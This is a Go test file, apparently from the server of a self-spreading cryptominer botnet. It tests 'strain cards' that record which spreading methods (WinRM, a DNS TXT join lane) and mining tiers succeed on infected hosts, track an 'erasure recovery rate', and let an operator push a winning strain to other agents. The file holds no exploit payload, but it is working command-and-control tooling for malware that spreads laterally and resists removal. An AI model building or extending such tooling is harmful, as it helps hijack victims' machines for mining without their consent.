Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
147 lines
4.4 KiB
Go
147 lines
4.4 KiB
Go
package api
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
func TestPublishStrainCardOnWinningPhenotype(t *testing.T) {
|
|
fh, database, hub, _ := newTestFleetHandler(t)
|
|
_ = fh
|
|
|
|
root := &models.Agent{ID: "root-agent", Name: "Root", IP: "10.0.1.5", Status: "online", LastSeen: time.Now().UTC()}
|
|
child := &models.Agent{ID: "child-agent", Name: "Child", IP: "10.0.2.8", Status: "online", ParentAgentID: "root-agent", SpreadGeneration: 1, LastSeen: time.Now().UTC()}
|
|
for _, a := range []*models.Agent{root, child} {
|
|
if err := database.UpsertAgent(a); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
hub.mu.Lock()
|
|
hub.agentLiveTelemetry["child-agent"] = map[string]interface{}{
|
|
"join_lane": "dns_txt",
|
|
"mining_hashrate": 750.0,
|
|
}
|
|
hub.mu.Unlock()
|
|
|
|
fp := "windows|0|0|0|0|0|10.0.2.x"
|
|
hub.tryPublishWinningPhenotype(
|
|
"child-agent", "windows", "10.0.2.8", nil,
|
|
[]struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
}{
|
|
{Tier: "docker", OK: false},
|
|
{Tier: "container", OK: true},
|
|
},
|
|
750, "container", "dns_txt",
|
|
[]string{"container", "wsl", "cpu_inprocess"},
|
|
)
|
|
_ = fp
|
|
|
|
cards, err := database.ListStrainCardsForAgent("child-agent")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(cards) != 1 {
|
|
t.Fatalf("expected 1 strain card, got %d", len(cards))
|
|
}
|
|
var card strategy.StrainCard
|
|
if err := json.Unmarshal([]byte(cards[0].CardJSON), &card); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if card.RootAgentID != "root-agent" || card.SourceAgentID != "child-agent" {
|
|
t.Fatalf("card tree: %+v", card)
|
|
}
|
|
if len(card.Wins) == 0 || card.Persona != "persuasive" {
|
|
t.Fatalf("card wins/persona: wins=%v persona=%q", card.Wins, card.Persona)
|
|
}
|
|
}
|
|
|
|
func TestPostPlayStrainCard(t *testing.T) {
|
|
fh, database, hub, _ := newTestFleetHandler(t)
|
|
|
|
agent := &models.Agent{ID: "target-agent", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
|
|
if err := database.UpsertAgent(agent); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
conn := connectTestAgent(t, hub, "target-agent")
|
|
defer conn.Close()
|
|
|
|
card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{
|
|
SourceAgentID: "src",
|
|
SourceAgentName: "Src",
|
|
SpreadLane: "winrm",
|
|
TierOrder: []string{"container", "wsl"},
|
|
PeakHashrate: 500,
|
|
})
|
|
raw, _ := json.Marshal(card)
|
|
cardID, err := database.UpsertStrainCard("root-x", "src", raw, dbStoredMetaFromCard(card))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
body, _ := json.Marshal(map[string]string{
|
|
"agent_id": "target-agent",
|
|
"card_id": cardID,
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/fleet/play-strain-card", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
fleetChiRoute(http.MethodPost, "/fleet/play-strain-card", fh.PostPlayStrainCard).ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var resp map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if resp["success"] != true {
|
|
t.Fatalf("response: %+v", resp)
|
|
}
|
|
}
|
|
|
|
func TestGetStrainCardsByAgent(t *testing.T) {
|
|
fh, database, _, _ := newTestFleetHandler(t)
|
|
card := strategy.StrainCard{RootAgentID: "root-a", SourceAgentID: "agent-a", PeakHashrate: 100}
|
|
raw, _ := json.Marshal(card)
|
|
if _, err := database.UpsertStrainCard("root-a", "agent-a", raw, dbStoredMetaFromCard(card)); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
req := httptest.NewRequest(http.MethodGet, "/fleet/strain-cards?agent_id=agent-a", nil)
|
|
rec := httptest.NewRecorder()
|
|
fleetChiRoute(http.MethodGet, "/fleet/strain-cards", fh.GetStrainCards).ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status=%d", rec.Code)
|
|
}
|
|
var cards []strategy.StrainCard
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &cards); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(cards) != 1 || cards[0].RootAgentID != "root-a" {
|
|
t.Fatalf("cards=%+v", cards)
|
|
}
|
|
}
|
|
|
|
func dbStoredMetaFromCard(card strategy.StrainCard) db.StoredStrainCard {
|
|
return db.StoredStrainCard{
|
|
SourceAgentName: card.SourceAgentName,
|
|
SpreadStrain: card.SpreadStrain,
|
|
SpreadLane: card.SpreadLane,
|
|
Persona: card.Persona,
|
|
PeakHashrate: card.PeakHashrate,
|
|
ErasureRecoveryRate: card.ErasureRecoveryRate,
|
|
TreeSize: card.TreeSize,
|
|
}
|
|
}
|